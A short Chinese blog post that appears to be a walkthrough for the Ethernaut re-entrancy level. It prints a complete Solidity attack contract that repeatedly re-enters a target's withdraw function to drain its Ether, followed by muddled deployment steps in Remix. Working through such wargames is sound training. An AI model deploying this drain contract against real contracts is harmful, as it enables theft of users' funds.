# 测试10 **Published by:** [hujiawei](https://paragraph.com/@hujiawei/) **Published on:** 2022-04-17 **URL:** https://paragraph.com/@hujiawei/10 ## Content 1.平台建立新文件remix.ethereum.org,命名为Eth10_attack.sol ,导入以下代码: // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IReentrance { function donate(address _to) external payable; function withdraw(uint _amount) external; } contract ReentranceAttack { address public owner; IReentrance targetContract; uint targetValue = 1000000000000000; constructor(address _targetAddr) public { targetContract = IReentrance(_targetAddr); owner = msg.sender; } function balance() public view returns (uint) { return address(this).balance; } function donateAndWithdraw() public payable { require(msg.value >= targetValue); targetContract.donate.value(msg.value)(address(this)); targetContract.withdraw(msg.value); } function withdrawAll() public returns (bool) { require(msg.sender == owner, "my money!!"); uint totalBalance = address(this).balance; (bool sent, ) = msg.sender.call.value(totalBalance)(""); require(sent, "Failed to send Ether"); return sent; } receive() external payable { uint targetBalance = address(targetContract).balance; if (targetBalance >= targetValue) { targetContract.withdraw(targetValue); } } } 部署的地址为谷歌给浏览器开发者提供的地址。然后部署. 部署后发送以太坊: 点击“donate”查看数量为零。提交。 ## Publication Information - [hujiawei](https://paragraph.com/@hujiawei/): Publication homepage - [All Posts](https://paragraph.com/@hujiawei/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@hujiawei): Subscribe to updates - [Twitter](https://twitter.com/hujiawei1988): Follow on Twitter